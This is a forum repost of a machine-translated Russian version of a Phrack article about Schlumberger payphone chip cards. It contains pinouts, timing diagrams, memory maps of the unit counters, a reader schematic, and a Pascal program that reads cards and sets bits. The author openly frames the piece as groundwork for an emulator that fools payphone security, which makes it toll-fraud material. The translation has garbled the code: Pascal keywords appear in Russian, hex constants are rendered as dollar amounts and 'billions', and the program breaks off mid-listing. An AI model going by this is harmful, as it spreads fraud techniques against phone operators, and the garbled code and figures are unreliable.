Электронные телефонные карточки: как сделать самостоятельно!

Hacker

Professional
Messages
1,048
Reputation
9
Reaction score
712
Points
113
== Журнал Phrack ==

Том седьмой, выпуск сорок восьмой, файл 10 из 18

Электронные телефонные карточки: как сделать сами!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Я полагаю, что Швеция - не единственная страна, в которой используется электронная
системы телефонных карточек от Schlumberger Technologies. Эта статья будет
объясните немного о картах, которые они используют, и о том, как они работают. В конце
в этой статье вы также найдете файл в кодировке UUEncoded, содержащий исходный код
код программы микроконтроллера PIC16C84, который полностью эмулирует
Телефонная карта Schlumberger и, конечно же, макеты печатных плат
+ список компонентов ... Но прежде чем мы начнем серьезно говорить об этом
важно, сначала я должен полностью прояснить, что все, что вы используете
информация для, полностью ВАША ответственность, и я не могу удерживаться
несет ответственность за любые проблемы, которые может вызвать использование этой информации
вам или кому-то еще. Другими словами: я отдаю это БЕСПЛАТНО, и
Я не жду НИЧЕГО взамен!

Оригинальная телефонная карта:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Поскольку мне, вероятно, было бы трудно написать лучшую статью
чем тот, который недавно написал Стефан Боссон из Франции, я не буду
попытаться дать лучшее объяснение, чем это; Вместо этого я буду
включить его в этот файл, но я хочу прояснить, что
Следующая часть о технических характеристиках карт не написана
от меня: Просто части в кавычках добавлены мной ... Вместо этого я
сконцентрируемся на объяснении, как построить свою собственную телефонную карту
эмулятор и как меры безопасности в системе таксофона, созданные
Работа Schlumberger Technologies, и как ее обмануть ... Но сначала давайте
ознакомьтесь с техническими характеристиками различных «умных» модулей памяти
карточные системы, используемые для таксофонов.

================================================== =============================
Что нужно знать об электронных телекартах
================================================== =============================

(C) 10-07-1993 / 03-1994
Версия 1.06
Стефан Бауссон

Почта: [email protected]-nancy.fr
Smail: 4, Rue de Grand; F-88630 CHERMISEY; Франция
Телефон: (33) -29-06-09-89
-------------------------------------------------- -----------------------------
Любые предложения или комментарии по поводу телефонных карт и смарт-карт приветствуются.
-------------------------------------------------- -----------------------------

Содержание
---------

I) Карты от Gemplus, Solaic, Schlumberger, Oberthur:

I-1) Введение:
I-2) СХЕМА микросхемы:
I-3) РАСПОЛОЖЕНИЕ разъема:
I-4) Основные характеристики:
I-5) ВРЕМЕННЫЕ ДИАГРАММЫ:
I-6) КАРТА памяти карт из Франции и Монако:
I-5) КАРТА памяти карт других стран:

II) Карты от ODS: (Немецкие карты)

II-1) Введение:
II-2) Распиновка:
II-3) Основные характеристики:
II-4) Временные диаграммы:
II-5) Карта памяти:
II-6) Электрические характеристики:


III) Схема читателя:

IV) Программа:

-------------------------------------------------- -----------------------------

I) Карты от Gemplus, Solaic, Schlumberger, Oberthur: (французские карты)
================================================== ====================

I-1) Введение:
------------

Не думайте, что телефонные карты электроники
совершенно секретные вещи, и что вы не можете прочитать информацию, которая
это внутри. Это совершенно неверно, поскольку на самом деле электронная телефонная карта
не содержать никакой секретной информации, такой как кредитные карты и электронные
Телефонная карта - это не что иное, как 256-битное СППЗУ с последовательным выходом.

Кроме того, не думайте, что вы собираетесь их пополнять, когда вы
понять, как они работают, так как для этого вы должны сбросить 256 бит
карт, удалив всю карту. Но чип покрыт УФ
непрозрачная смола, даже если иногда вы видите ее прозрачной! Даже если
вы были достаточно умны, чтобы стереть 256 бит карты, которые вы должны
запрограммировать область производителя, но это совершенно невозможно, так как эти
первые 96 битов защищены от записи предохранителем, который срабатывает после
программирование карты на заводе.

Тем не менее может быть очень интересно изучить, как эти карты
работать, чтобы увидеть, какие данные находятся внутри и как данные отображаются
внутри или, например, чтобы увидеть, сколько единиц осталось внутри. Кроме того
существует огромное количество применений этих карт, когда есть
используются (конечно, только для личного использования), так как вы можете использовать их как ключевые
чтобы открыть дверь, или вы также можете использовать их как ключ для защиты программы,
так далее...

Эти телекарты были созданы в 1984 году и в настоящее время
конструкторы решили построить эти карты по технологии NMOS, но теперь,
они планируют к 1994 году заменить всех читателей на кабинки и использовать
КМОП-технология. Также они планируют использовать EEPROM для защиты карт и
добавить много полезной информации, и, возможно, вы будете использовать телефонные карточки для
купить вам хлеб или что-нибудь еще.

Эти карты называются телекартами второго поколения.

I-2) СХЕМА микросхемы:
----------------------

.-------------------.
| |
- |> Clk |
| _ |
- | R / W |
| |
- | Сбросить |
| |
- | Предохранитель |
| |
- | Vpp |
| |
| |
'-. .- '
| |
.-------------------.
| Out | - последовательный выход
'-------------------'


I-3) РАСПОЛОЖЕНИЕ разъема:
-------------------------


ЧИП AFNOR ЧИП ISO ЧИП
---------- --------

------------- + ------------- ------------- + --------- ----
| 8 | 4 | | 1 | 5 |
| | | | | |
+ ------- \ | / ------- + + ------- \ | / ------- +
| 7 + ---- + ---- + 3 | | 2 + ---- + + 6 |
| | | | | | | |
+ -------- | | -------- + + -------- | | -------- +
| 6 | | 2 | | 3 | | 7 |
| + + ---- + | | + ---- + ---- + |
+ ------- / | \ ------- + + ------- / | \ ------- +
| 5 | 1 | | 4 | 8 |
| | | | | |
------------- + ------------- ------------- + --------- ----

NB: только позиция чипа соответствует ISO
стандартизированный, а не распиновка

ВЫВОД: 1: Vcc = 5V 5: Gnd
------ 2: R / W 6: Vpp = 21 В
3: Часы 7: ввод / вывод
4: сброс 8: предохранитель

I-4) Основные характеристики:
---------------

- Синхронный протокол.
- Технология N-MOS.
- Организация 256x1 бит.
- 96 записано защищено блокирующим предохранителем.
- Низкое энергопотребление 85 мВт в режиме чтения.
- Напряжение программирования 21 В.
- Время доступа: 500 нс
- Рабочий диапазон: -100C + 700C
- Хранение данных в течение десяти лет.


I-5) ВРЕМЕННЫЕ ДИАГРАММЫ:
---------------

+ 21В _____________
+ 5В ____________________________________ | | _________________ Vpp
::
+ 5В ___________________: _____________: _________________ Сброс
0V ________________ | ::
:::
+ 5В ____: ____: ______: ______
0V ___ | | _______: _____ | | ________: ______ | : | __________ Часы
:::::::::
+ 5В:::::: ______: ______:: _
0V ___: ____: _______: _____: ____: ________ | : | ______: __________ R / W
:::::::::
+ 5В::: _____:: ________:::: __________
0V XXXXXXXXXXXXXXXXX_____XXXXXX________XXXXXXXXXXXXXXXXXXXXXX__________ Out
:::::: <-----> <---->::
:::::: От 10 до 10 до:
:::::: 50 мс 50 мс:
Сбросить бит 1 бит 2 бит 3
чтение карты чтение Bit2 запись в 1 чтение



I-6) КАРТА ПАМЯТИ карт из Франции и Монако:
--------------------------------------------

Байт Биты Двоичный Hexa

+ ----------- + ----- +
1 1 -> 8 | | | ---> Код разработчика.
+ ----------- + ----- +
2 9 -> 16 | 0000 0011 | $ 03 | ---> французская телекарта
+ ----------- + ----- +
3 17 -> 24 | | |
+ ----------- + ----- +
4 25 -> 32 | | |
+ ----------- + ----- +
5 33 -> 40 | | |
+ ----------- + ----- +
6 41 -> 48 | | |
+ ----------- + ----- +
7 49 -> 56 | | |
+ ----------- + ----- +
8 57 -> 64 | | |
+ ----------- + ----- +
9 65 -> 72 | | |
+ ----------- + ----- +
10 73 -> 80 | | |
+ ----------- + ----- +
11 81 -> 88 | | |
+ ----------- + ----- +
12 33 -> 40 | 0001 0011 | $ 13 | ---> 120 единиц карты
| 0000 0110 | $ 06 | ---> карта на 50 единиц
| 0000 0101 | $ 05 | ---> 40 единиц карты
+ ----------- + ----- +
13-31 97 -> 248 | | | ---> Площадь юнита: каждый раз юнит
| | | используется, то бит устанавливается в "1";
| | | Обычно первые десять единиц
| | | плавлен на заводе как тест.
| | |
| | |
| | |
+ ----------- + ----- +
32 249 -> 256 | 1111 1111 | $ FF | ---> карта пуста
+ ----------- + ----- +



I-7) КАРТА ПАМЯТИ остальных карт:
-------------------------------

Байт Биты Двоичный Hexa

+ ----------- + ----- +
1 1 -> 8 | | |
+ ----------- + ----- +
2 9 -> 16 | 1000 0011 | $ 83 | ---> телекарта
+ ----------- + ----- + ----------- + ----- +
3-4 17 -> 32 | 1000 0000 | $ 80 | 0001 0010 | $ 12 | ---> карта 10 единиц
| | | 0010 0100 | $ 24 | ---> Карта на 22 единицы
| | | 0010 0111 | $ 27 | ---> карта 25 единиц
| | | 0011 0010 | $ 32 | ---> карта 30 единиц
| | | 0101 0010 | 52 $ | ---> карта на 50 единиц
| | | 1000 0010 | 82 $ | ---> 80 единиц карты
| 1000 0001 | 81 доллар | 0000 0010 | $ 02 | ---> 100 единиц карты
| | | 0101 0010 | 52 $ | ---> 150 единиц карты
+ ----------- + ----- + ----------- + ----- +
5 33 -> 40 | | |
+ ----------- + ----- +
6 41 -> 48 | | |
+ ----------- + ----- +
7 49 -> 56 | | |
+ ----------- + ----- +
8 57 -> 64 | | |
+ ----------- + ----- +
9 65 -> 72 | | |
+ ----------- + ----- +
10 73 -> 80 | | |
+ ----------- + ----- +
11 81 -> 88 | | |
+ ----------- + ----- +
12 89 -> 96 | 0001 1110 | $ 1E | ---> Швеция
| 0010 0010 | $ 22 | ---> Испания
| 0011 0000 | 30 долларов | ---> Норвегия
| 0011 0011 | $ 33 | ---> Андорра
| 0011 1100 | $ 3C | ---> Ирландия
| 0100 0111 | $ 47 | ---> Португалия
| 0101 0101 | $ 55 | ---> Чехия
| 0101 1111 | $ 5F | ---> Габон
| 0110 0101 | 65 долларов | ---> Финляндия
+ ----------- + ----- +
13-31 97 -> 248 | | | ---> Площадь юнита: каждый раз юнит
| | | используется, то бит устанавливается в "1";
| | |
| | | Обычно первые два блока
| | | плавлен на заводе как тест.
| | |
| | |
+ ----------- + ----- +
32 249 -> 256 | 0000 0000 | $ 00 |
+ ----------- + ----- +



II) Карты от систем ODS, Giesecke & Devrient, ORGA Karten,
================================================== ===========
Uniqua, Gemplus, Schlumberger и Oldenbourg Kartensysteme:
================================================== =========

II-1) Введение:
------------

Эти карты на самом деле представляют собой 128-битную память по технологии NMOS, и
карта этих карт следующая:

64-битная EPROM защищена от записи (область производителя).
40-битная EEPROM (5x8 бит).
24 бита установлены в "1".


II-2) Распиновка:
--------

ISO 7816-2

------------- + -------------
| 1 | 5 | Распиновка:
| | | -------
+ ------- \ | / ------- +
| 2 + ---- + + 6 | 1: Vcc = 5 В 5: Земля
| | | | 2: Сброс 6: NC
+ -------- | | -------- + 3: Часы 7: Ввод / вывод
| 3 | | 7 | 4: NC 8: NC
| + ---- + ---- + |
+ ------- / | \ ------- + nc: не подключен
| 4 | 8 |
| | |
------------- + -------------


II-3) Основные характеристики:
---------------

- Совместимость с ISO 7816-1 / 2.
- используйте один источник питания 5 В.
- низкое энергопотребление.
- Технология NMOS.

II-4) Временные диаграммы:
----------------

Перезагрузить:
------
Счетчик адреса сбрасывается на 0, когда тактовая линия CLK повышается.
в то время как линия управления R высока. Обратите внимание, что счетчик адресов не может
сбрасывается, когда он находится в диапазоне от 0 до 7.

__________________
_____ | | _____________________________________________ Сброс
::
: _____: _____ _____ _____ _____
_____: _______ | | ____: _ | | _____ | | _____ | | _____ | | _ Clk
:::::::::::
_____: _______: __________: _: _____: _____: _____: _____: _____: _____: _____: _
_____: ___ n ___ | _____ 0 ____: _ | _____ 1 _____ | _____ 2 _____ | _____ 3 _____ | ___ 4 _: _ (Адрес)
::::::
_____:: _______: ___________: ___________: ___________: _
_____ XXXXXXXXXXXXXXXXXXXX _______ | ___________ | ___________ | ___________ | _ Данные
Бит n Бит 0 Бит 1 Бит 2 Бит 3

Счетчик адреса увеличивается на 1 с каждым нарастающим фронтом
тактовый сигнал Clk, пока линия управления R остается на низком уровне. В
данные, содержащиеся в каждом адресном бите, выводятся на контакт ввода / вывода каждый раз, когда Clk
падает. Невозможно уменьшить счетчик адреса на единицу, поэтому
для адресации более раннего бита счетчик адреса должен быть сброшен, затем
увеличивается до требуемого значения.


Писать:
------
Все незаписанные или стертые биты в адресе 64-104 могут быть незаписанными.
к. Когда ячейка памяти не записана, она устанавливается в 0. Адресованный
ячейка не записывается в следующей последовательности.

1 - R повышается при низком уровне Clk, чтобы отключить приращение счетчика адреса.
за один тактовый импульс.

2- Затем Clk повышается минимум на 10 мс для записи в адресный бит.

Когда операция записи заканчивается и Clk падает, счетчик адреса
разблокирован, и выводится содержимое записанной ячейки, которая теперь равна 0
к контакту ввода / вывода, если операция правильная.

Следующий импульс Clk увеличит адрес на единицу, затем запись
последовательность может быть повторена для записи следующего бита.

_____ _____
____________ | | ______________________________ | | _______________ Сброс
::
___: _____ ___: _____
___ | | ____: __________ | | _________ | | _____: __________ | | ____ Clk
:::::::::
___: ________: __________: _____: _________: ___: _____: __________: _____: _____
п | п + 1 | п + 2 | : n + 3 | : (Адрес)
---'--------: ----------'-----: ---------'---: -----: ----------'-----: -----
:::::::
________ _::: ____________: ___:::
________XXX_XXXXXXXXXXXXXXXXXX ____________ XX___XXXXXXXXXXXXXXXXXXXXXXX Ввод / вывод
n n + 1:: n + 1 n + 2::
::::
написать написать


WriteCarry:
-----------

Счетчик стирается при выполнении последовательности WRITECARRY на
стадия следующего по величине веса удаляемого.

Последовательность записи и переноса следующая:

1 - Установить счетчик адреса на незаписанный бит в следующем наивысшем значении.
встречный этап к тому, что нужно стереть.

2 - Приращение отключается на следующем нарастающем фронте R, где Clk
остается низким.

3 - Затем Clk повышается минимум на 10 мс, в то время как R низкий, чтобы записать
к следующему биту адреса.

4 - R снова повышается, в то время как Clk остается низким, чтобы отключить приращение
второй раз.

5 - Clk повышается минимум на 1 мс, в то время как R низкий, для записи в
адресный бит второй раз, немедленно стирая уровень счетчика
ниже адресный бит.

_____ _____
______ | | ____________________ | | _________________________________ Rst
::
: _______: _______ ___
______: ___________ | | ______: _____________ | | ______ | | ______ Clk
::::::::
::::::::
<------------------------- адрес n ---------------------- ->: <--- n + 1 ------
:::::::
:::::::
______::: ______::: __________: _____
______XXXXXXXXXXXXXXXXXXXXX______XXXXXXXXXXXXXXXXXXXXXXXX__________XX_____ I / O
:: n:: n n + 1
::::
Запись Стереть

II-5) Карта памяти:
-------------

Байт Биты Двоичный Hexa

+ ----------- + ----- +
1 1 -> 8 | | |
+ ----------- + ----- +
2 9 -> 16 | 0010 1111 | $ 2F | ---> Германия
| 0011 0111 | $ 37 | ---> Нидерланды
| 0011 1011 | $ 3 млрд | ---> Греция
+ ----------- + ----- +
3 17 -> 24 | | |
4 25 -> 32 | | | ---> Область эмитента (защищена от записи)
5 33 -> 40 | | |
6 41 -> 48 | | |
7 49 -> 56 | | |
8 57 -> 64 | | |
+ ----------- + ----- +
9 65 -> 72 | | | ---> c4096)
10 73 -> 80 | | | ---> c512)
11 81 -> 88 | | | ---> c64) 5-ступенчатый восьмеричный счетчик
12 89 -> 96 | | | ---> c8)
13 97 -> 104 | | | ---> c0)
+ ----------- + ----- +
14 105 -> 112 | 1111 1111 | $ FF |
15 113 -> 120 | 1111 1111 | $ FF | ---> область битов установлена на "1"
16 120 -> 128 | 1111 1111 | $ FF |
+ ----------- + ----- +

Район эмитента:
----------------

Этот эмитент состоит из 40 бит. Содержимое области эмитента
указываются эмитентом карты, и фиксируются при изготовлении
процесс. Содержимое области эмитента будет включать такие данные, как
серийные номера, даты и центры распределения.

Эту область можно только читать.

Зона счетчика:
-----------------

В области счетчика хранятся единицы карты. Его начальное значение
указывается эмитентом карты и устанавливается при изготовлении.

Зона счетчика разделена на пятиступенчатые счетчики.

Обратите внимание, что вы можете только уменьшить счетчик, и это не разрешено
записать в счетчик значение больше старого.


I-6) Электрические характеристики:
--------------------

Максимальные оценки:
----------------

+ -------- + ------ + ------ + ------ +
| Символ | Мин | Макс | Единица |
+ ---------------------- + -------- + ------ + ------ + --- --- +
| Напряжение питания | Vcc | -0,3 | 6 | V |
+ ---------------------- + -------- + ------ + ------ + --- --- +
| Входное напряжение | Vss | -0,3 | 6 | V |
+ ---------------------- + -------- + ------ + ------ + --- --- +
| Температура хранения | Tstg | -20 | +55 | 0C |
+ ---------------------- + -------- + ------ + ------ + --- --- +
| Рассеивание мощности | Pd | - | 50 | мВт |
+ ---------------------- + -------- + ------ + ------ + --- --- +


Характеристики постоянного тока:
------------------
+ -------- + ----- + ----- + ----- + ------ +
| Символ | Мин. | Тип. | Макс. Единица |
+ --------------------------- + -------- + ----- + ----- + ----- + ------ +
| Ток питания | Icc | - | - | 5 | мА |
+ --------------------------- + -------- + ----- + ----- + ----- + ------ +
| Входное напряжение (низкое) | Vl | 0 | - | 0,8 | V |
+ --------------------------- + -------- + ----- + ----- + ----- + ------ +
| Входное напряжение (высокое) | Vh | 3.5 | - | Vcc | V |
+ --------------------------- + -------- + ----- + ----- + ----- + ------ +
| Входной ток R | Ih | - | - | 100 | uA |
+ --------------------------- + -------- + ----- + ----- + ----- + ------ +
| Входной ток Clk | Il | - | - | 100 | uA |
+ --------------------------- + -------- + ----- + ----- + ----- + ------ +
| Выходной ток (Vol = 0,5 В) | Иол | - | - | 10 | uA |
+ --------------------------- + -------- + ----- + ----- + ----- + ------ +
| Выходной ток (Voh = 5В) | Йо | - | - | 0,5 | мА |
+ --------------------------- + -------- + ----- + ----- + ----- + ------ +

Характеристики переменного тока:
------------------ + -------- + ------ + ------ + ------ +
| Символ | Мин. | Максимум. | Единица |
+ ---------------------- + -------- + ------ + ------ + --- --- +
| Длительность импульса | tr | 50 | - | нас |
| Сброс адреса R | | | | |
+ ---------------------- + -------- + ------ + ------ + --- --- +
| Длительность импульса | ts | 10 | - | нас |
| R написать | | | | |
+ ---------------------- + -------- + ------ + ------ + --- --- +
| Clk высокого уровня | th | 8 | - | нас |
+ ---------------------- + -------- + ------ + ------ + --- --- +
| Clk низкого уровня | tl | 12 | - | нас |
+ ---------------------- + -------- + ------ + ------ + --- --- +
| Окно записи | Twrite | 10 | - | мс |
+ ---------------------- + -------- + ------ + ------ + --- --- +
| Стереть окно | Тераза | 10 | - | мс |
+ ---------------------- + -------- + ------ + ------ + --- --- +
| | tv1 | 5 | - | нас |
+ ---------------------- + -------- + ------ + ------ + --- --- +
| | tv2 | 3.5 | - | нас |
+ ---------------------- + -------- + ------ + ------ + --- --- +
| | tv3 | 3.5 | - | нас |
+ ---------------------- + -------- + ------ + ------ + --- --- +
| | tv4 | 3.5 | - | нас |
+ ---------------------- + -------- + ------ + ------ + --- --- +
| | tv5 | 3.5 | - | нас |
+ ---------------------- + -------- + ------ + ------ + --- --- +
| | tv6 | 5 | - | нас |
+ ---------------------- + -------- + ------ + ------ + --- --- +
| | tv7 | 5 | - | нас |
+ ---------------------- + -------- + ------ + ------ + --- --- +
| | tv8 | 10 | - | нас |
+ ---------------------- + -------- + ------ + ------ + --- --- +



III) Схема читателя:
======================

Внешний 5 В (опционально)

5V o ------,
| / T2 PNP d13 r7 10
0V o--, | / BC 177 | \ | _____
| | , ------- о / о - * ------. EC .-- | > + - [_____] --------,
__ + __ | | | \ / | / | |
\\\\\ | __ | __ Аккумулятор | \ / |
| - 22,5 В | --------- |
....... | | | _____ | _____ |
: | __ + __ + - [_____] - * - [_____] -, |
D2: | \\\\\ r6 150k r5 15k | |
4 o ------- | --------------------------- * ------------ ------ | -------------, |
: | | r3 220к / с | |
Подтверждение: | | _____ | / T1 - NPN | |
10 часов ------ | --------. '- [_____] - * --- | BC107 | |
: | | _____ | | \ | |
:, -,, -, + - [_____] - '\ E | |
: | | r2 | | r1 | r4 390k | | |
: | | 220 | | 22k __ + __ __ + __ | |
: | _ | | _ | \\\\\ \\\\\ | |
: | | \ | | | |
: * - | > + - | ---------------- * ---------------------------- ------ | - *
: | | / | | , ----- | -----------------------------, | |
: | d1 | | | , ----------, ----------, | | |
: | | | * --- | - * Предохранитель | Сбросить * - | --- '| |
: | | | | | ---------- | ---------- | | |
D0: | | | , - | --- | - * I / O | Clk * - | ---, | |
2 o ------- | -------- | ---------- '| | | ---------- | ---------- | | | |
: | | | '--- | - * Vpp | R / W * - | --- | ---- '|
Занят: | | | | ---------- | ---------- | | |
11 o ------ | -------- | -------------- ', --- | - * Gnd | 5В * | | |
: | | | '----------'------- | -' | |
D1: | | __ + __ Соединитель микросхемы | | |
3 o ------- | -------- | --------, \\\\\ | | |
: | | '------------------------------ | ------' |
Ул .: | | \ | | | |
1 o ------- * - | > + - * ---- * ---- * ---- * ---- * ------------------- '|
: d2 | / | | d3 | d4 | d5 | d6 | d7 |
: - + - - + - - + - - + - - + - |
: / _ \ / _ \ / _ \ / _ \ / _ \ |
D3: | | | | | | \ | d8 |
5 o ---------------- * ---- | ---- | ---- | ---- | --- | > + ------- * ------------------- '
: | | | | | / | |
: | | | | |
D4: | | | | | \ | d9 |
6 o --------------------- * ---- | ---- | ---- | --- | > + ------- *
: | | | | / | |
: | | | |
D5: | | | | \ | d10 |
7 o -------------------------- * ---- | ---- | --- | > + ------- *
: | | | / | |
: | | |
D6: | | | \ | d11 |
8 o ------------------------------- * ---- | --- | > + ------- *
: | | / | |
: | |
D7: | | \ | d12 |
9 o ------------------------------------ * --- | > + ------- '
: | / |
:
:
25 o ------.
: |
.......: | от d1 до d13: 1N4148
__ + __
\\\\\

Порт Centronics

IV) Программа:
===========

Следующая программа позволит вам читать телекарты на вашем ПК, если вы
построить читателя.

--------------- вырезать здесь (начать)
{*********************************************** ****************************}
{ТЕЛЕКАРТА. PAS}
{*********************************************** ****************************}
{Эта программа позволяет уменьшить объем памяти телефонных карт электроники}
{со всего мира, чтобы вы могли видеть, в какой стране}
{карта показывает, сколько единиц осталось и так далее ....}
{*********************************************** ****************************}
{}
{Написано Стефаном Баусоном (1993)}
{}
{Электронная почта: [email protected]-nancy.fr}
{}
{Адрес электронной почты Snail: 4, Rue de Grand}
{F-88630 CHERMISEY}
{Франция}
{}
{*********************************************** ****************************}
{* Благодарность: Томи Энгдал ([email protected]) *}
{*********************************************** ****************************}

ИСПОЛЬЗУЕТ crt, dos;

CONST port_address = 378 долларов США; {lpr1 selected}

ТИП строка8 = строка [8];
строка2 = строка [2];

VAR reg: регистры;
i, j: целое число;
Данные: массив [1..32] байтов;
автомобиль: char;
byte_number: целое число;
отображение: char;

{------------------------------------------------- ----------------------------}

ПРОЦЕДУРА Отправить (b: байт);

BEGIN порт [port_address]: = b;
КОНЕЦ;

{------------------------------------------------- ----------------------------}

ФУНКЦИЯ Получить: байт;

НАЧАТЬ получить: = порт [адрес_порта + 1];
КОНЕЦ;

{------------------------------------------------- ----------------------------}
{ФУНКЦИЯ dec2hexa_one (десятичное_значение): шестнадцатеричное_символьное_представление; }
{}
{- преобразовать десятичное число длиной 4 бита в шестнадцатеричное. }
{------------------------------------------------- ----------------------------}

ФУНКЦИЯ dec2hexa_one (значение: байт): char;

BEGIN значение регистра
0..9: dec2hexa_one: = chr (значение + 30 долларов США);
10..15: dec2hexa_one: = chr (значение + 37 $);
КОНЕЦ;
КОНЕЦ;

{------------------------------------------------- ----------------------------}
{ФУНКЦИЯ d2h (десятичный_байт): строка2; }
{}
{- преобразовать десятичный байт в его шестнадцатеричное представление. }
{------------------------------------------------- ----------------------------}

ФУНКЦИЯ d2h (значение: байт): строка2;

VAR msbb, lsbb: байт;

НАЧАТЬ msbb: = 0;
если (значение> = 80 долларов США), то
НАЧАТЬ msbb: = msbb + 8;
value: = value- 80 долларов США;
КОНЕЦ;
если (значение> = 40 долларов США), то
НАЧАТЬ msbb: = msbb + 4;
value: = value- 40 долларов США;
КОНЕЦ;
если (значение> = 20 долларов), то
НАЧАТЬ msbb: = msbb + 2;
value: = value- 20 долларов США;
КОНЕЦ;
если (значение> = 10 долларов), то
НАЧАТЬ msbb: = msbb + 1;
value: = value- 10 долларов США;
КОНЕЦ;

lsbb: = 0;
если (значение> = $ 08), то
НАЧАТЬ lsbb: = lsbb + 8;
значение: = значение- 08 $;
КОНЕЦ;
если (значение> = $ 04), то
НАЧАТЬ lsbb: = lsbb + 4;
значение: = значение- $ 04;
КОНЕЦ;
если (значение> = $ 02), то
НАЧАТЬ lsbb: = lsbb + 2;
значение: = значение- $ 02;
КОНЕЦ;
если (значение> = $ 01), то
НАЧАТЬ lsbb: = lsbb + 1;
значение: = значение- 01 $;
КОНЕЦ;
d2h: = dec2hexa_one (msbb) + dec2hexa_one (lsbb);
КОНЕЦ;

{------------------------------------------------- ----------------------------}

Функция Binary (b: byte): string8;

вес var: byte;
s: string8;

НАЧАЛЬНЫЙ вес: = 80 $;
s: = '';
пока (вес> 0) делать
НАЧАТЬ, если ((b и вес) = вес), то s: = s + '1'
иначе s: = s + '0';
weight: = вес div $ 02;
КОНЕЦ;
Двоичный: = s;
КОНЕЦ;

{------------------------------------------------- ----------------------------}

ФУНКЦИЯ Единицы: байт;

VAR u, i: целое число;
s: string8;

НАЧАТЬ u: = 0;
i: = 13;
в то время как (Data = $ FF) делать
НАЧАТЬ u: = u + 8;
я: = я + 1;
КОНЕЦ;
s: = Двоичный (Данные );
в то время как (s [1] = '1') делать
НАЧАТЬ inc (u);
s: = копия (s, 2, длина (s));
КОНЕЦ;
единицы: = u;
КОНЕЦ;

{------------------------------------------------- ----------------------------}

функция Units_2: LongInt;

BEGIN Units_2: = 4096 * Данные [9] + 512 * Данные [10] + 64 * Данные [11] + 8 * Данные [12] + Данные [13];
КОНЕЦ;

{------------------------------------------------- ----------------------------}

ПРОЦЕДУРА Card_Type;

BEGIN данные дела [2] из
$ 03: НАЧАТЬ запись ('Telecard - France -');
Данные дела [12] из
$ 13: написать ('120 единиц -', единиц-130, 'единиц осталось');
$ 06: написать ('50 единиц - ', единиц-60,' единиц осталось ');
$ 15: написать ('40 единиц -', единиц-40, 'единиц осталось');
КОНЕЦ;
КОНЕЦ;
$ 2F: BEGIN write ('Telecard - Germany -', Units_2, 'Units left');
КОНЕЦ;
3 миллиарда долларов: НАЧАТЬ запись ('Telecard - Греция -', Units_2, 'Units left');
КОНЕЦ;
$ 83: НАЧАТЬ запись («Телекарта»);
Данные дела [12] из
$ 1E: написать ('- Швеция');
30 долларов: напишите ('- Норвегия');
$ 33: написать ('- Андорра');
$ 3C: написать ('- Ирландия');
$ 47: написать ('- Португалия');
$ 55: напишите ('- Чешская Республика');
$ 5F: написать ('- Габон');
65 долларов: напишите ('- Финляндия');
КОНЕЦ;
if (Данные [12] в [30 $, 33 $, 3C $, 47 $, 55 $, 65 $]), то
BEGIN case ((Data [3] и $ 0F) * $ 100 + Data [4]) из
$ 012: написать ('- 10 единиц -', единиц-12, 'единиц осталось');
$ 024: написать ('- 22 единицы -', единицы-24, 'Осталось единиц');
$ 027: напишите ('- 25 единиц -', единиц-27, 'Осталось единиц');
$ 032: написать ('- 30 единиц -', единиц-32, 'единиц осталось');
$ 052: напишите ('- 50 единиц -', единиц-52, 'единиц осталось');
$ 067: написать ('- 65 единиц -', единиц-62, 'единиц осталось');
$ 070: написать ('- 70 единиц -', единиц-70, 'единиц осталось');
102 доллара: напишите ('- 100 единиц -', единиц-102, 'единиц осталось');
$ 152: напишите ('- 150 единиц -', единиц-152, 'Осталось единиц');
КОНЕЦ;
КОНЕЦ;
{write ('- N0', Data [5] * $ 100 + Data [6]);}
КОНЕЦ;
КОНЕЦ;
КОНЕЦ;

{------------------------------------------------- ----------------------------}

ПРОЦЕДУРА ожидания;

НАЧАТЬ отправку ($ 00);
напишите ('Введите карту в считыватель и нажмите клавишу ...');
повторять, пока не будет нажата клавиша;
gotoxy (1, где);
клреол;
КОНЕЦ;

{------------------------------------------------- ----------------------------}

ПРОЦЕДУРА Full_Displaying;

НАЧАТЬ Writeln ('Дамп памяти:');
для i: = от 1 до 80 пишите ('-');
for i: = 1 to (byte_number div 6 + 1) do
НАЧАТЬ для j: = от 1 до 6 сделать
НАЧАТЬ, если j + 6 * (i-1) <= byte_number, затем записать (двоичный (Data [j + 6 * (i-1)]): 9);
КОНЕЦ;
gotoxy (60, где);
для j: = от 1 до 6 сделать
если j + 6 * (i-1) <= byte_number, тогда write (d2h (Data [j + 6 * (i-1)]), '');
Writeln;
КОНЕЦ;
для i: = от 1 до 80 пишите ('-');
Тип карты;
Writeln;
КОНЕЦ;

{------------------------------------------------- ----------------------------}

ПРОЦЕДУРА Short_Displaying;

VAR j: целое число;

BEGIN for j: = 1 to byte_number do
НАЧАТЬ запись (d2h (Data [j]), '');
КОНЕЦ;
Writeln;
КОНЕЦ;

{------------------------------------------------- ----------------------------}

ПРОЦЕДУРА Чтение;

VAR i, j: целое число;
Значение: байт;

НАЧАТЬ отправку ($ FE);
отправить ($ F8);
для i: = от 1 до 32 сделать
НАЧАЛО Значение: = 0;
для j: = от 1 до 8 сделать
НАЧАЛО Значение: = Значение * $ 02 + ((получить и $ 08) div $ 08);
отправить ($ FB);
задержка (1);
отправить ($ F8);
КОНЕЦ;
Данные : = Значение;
КОНЕЦ;
показ случая
'F': full_displaying;
'S': short_displaying;
КОНЕЦ;
КОНЕЦ;

{------------------------------------------------- ----------------------------}

ПРОЦЕДУРА написания;

VAR i, n: целое число;
автомобиль: char;

BEGIN write ('Какой бит вы хотите установить в "1":');
readln (п);

ожидающий;
автомобиль: = ключ чтения;

отправить ($ FA);
отправить ($ F8);
для i: = от 1 до n сделать
НАЧАТЬ отправку ($ F9);
если i = n, то
НАЧАТЬ отправку ($ FD);
задержка (20);
отправить ($ FF);
задержка (20);
КОНЕЦ;
отправить ($ FB);
КОНЕЦ;
чтение;
КОНЕЦ;

{------------------------------------------------- ----------------------------}

ПРОЦЕДУРА Сохранение;

VAR filename: строка;
f: текст;
я: слово;

BEGIN write ('Введите имя файла:');
readln (имя файла);
назначить (е, имя файла);
переписать (е);
для i: = 1 в byte_number записать (f, d2h (Data ), '');
закрыть (е);
КОНЕЦ;

{------------------------------------------------- ----------------------------}

ПРОЦЕДУРА инициализации;

VAR i: целое число;

НАЧАТЬ byte_number: = 32;
отображение: = 'F';
clrscr;
Writeln ('1 - сбросить карту 256 бит');
Writeln ('2 - сбросить 128-битную карту');
Writeln ('F - отображать в полном формате');
